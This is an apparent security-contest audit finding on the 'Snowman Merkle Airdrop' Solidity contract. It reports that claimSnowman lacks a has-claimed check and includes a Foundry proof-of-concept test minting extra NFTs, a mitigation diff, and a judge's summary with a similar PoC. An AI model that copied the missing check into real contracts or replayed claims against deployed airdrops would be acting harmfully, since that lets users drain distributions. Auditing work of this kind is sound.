Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: low
Valid

SnowmanAirdrop::claimSnowman missing s_hasClaimedSnowman check allows users to mint multiple NFTs

sergiocarvajal30

Missing s_hasClaimedSnowman check in SnowmanAirdrop::claimSnowman allows eligible users to mint multiple Snowman NFTs

Description

  • The SnowmanAirdrop::claimSnowman function is intended to allow eligible users to claim Snowman NFTs once by presenting a valid signature and Merkle proof.

    However, claimSnowman fails to check whether s_hasClaimedSnowman[receiver] is already set to true at the beginning of execution. An eligible user who acquires additional Snow tokens can execute claimSnowman again to receive more NFTs

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
​
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
​
i_snow.safeTransferFrom(receiver, address(this), amount);
@> s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
@> i_snowman.mintSnowman(receiver, amount);
}
​

Risk

Likelihood:

  • Users acquiring new Snow tokens after claiming can invoke claimSnowman again because no check prevents re-entry.

  • No special preconditions are required beyond holding Snow tokens and possessing a valid EIP-712 signature.

Impact:

  • An attacker can claim significantly more Snowman NFTs than allocated by the Merkle root.

  • The intended finite distribution of the NFT collection is disrupted.

Proof of Concept

function test_PoC_NoHasClaimedCheck_ReplayClaim() public {
vm.deal(owner, 100 ether);
​
vm.prank(owner);
snow.buySnow{value: 10 ether}(10);
​
vm.prank(owner);
snow.transfer(user, 10);
​
vm.prank(user);
snow.approve(address(airdrop), type(uint256).max);
​
bytes32 digest = airdrop.getMessageHash(user);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, digest);
​
vm.prank(user);
airdrop.claimSnowman(user, proof, v, r, s);
​
assertEq(snowman.balanceOf(user), 10);
assertTrue(airdrop.getClaimStatus(user));
​
vm.prank(owner);
snow.buySnow{value: 10 ether}(10);
​
vm.prank(owner);
snow.transfer(user, 10);
​
bytes32 digest2 = airdrop.getMessageHash(user);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(userPrivateKey, digest2);
​
vm.prank(user);
airdrop.claimSnowman(user, proof, v2, r2, s2);
​
assertEq(snowman.balanceOf(user), 20);
}
​

PoC Explanation: The test test_PoC_NoHasClaimedCheck_ReplayClaim programmatically proves how an eligible user can exploit the lack of claim status validation in SnowmanAirdrop::claimSnowman to receive multiple NFT airdrops:
Setup & First Claim: The test funds user with 10 Snow tokens, grants approval to SnowmanAirdrop, signs a valid EIP-712 claim message, and invokes claimSnowman. The transaction succeeds, transferring the 10 Snow tokens to the contract, minting 10 Snowman NFTs to user, and setting s_hasClaimedSnowman[user] = true.
Replay / Duplicate Claim Execution: The user acquires an additional 10 Snow tokens. user signs a new EIP-712 message and calls claimSnowman a second time using the same account and Merkle proof.
Vulnerability Validation: Because claimSnowman lacks a check on s_hasClaimedSnowman[receiver], the contract processes the second claim instead of reverting. user successfully receives 10 additional Snowman NFTs (accumulating a total of 20 NFTs), proving that the function allows arbitrary duplicate claims.


Recommended Mitigation

Recommended Mitigation
Mitigation Explanation: To resolve this vulnerability and restrict users to a single claim:
Declare Custom Error: Define error SA__AlreadyClaimed(); at the contract level for gas-efficient error handling.
Add Validation Check: Insert an explicit check if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed(); at the very beginning of claimSnowman before reading token balances or recovering signatures.
Enforce Checks-Effects-Interactions (CEI): Update state (s_hasClaimedSnowman[receiver] = true;) before executing external calls (safeTransferFrom and mintSnowman). This guarantees that even if reentrancy were attempted, the claim state would already be marked as consumed.

+ error SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!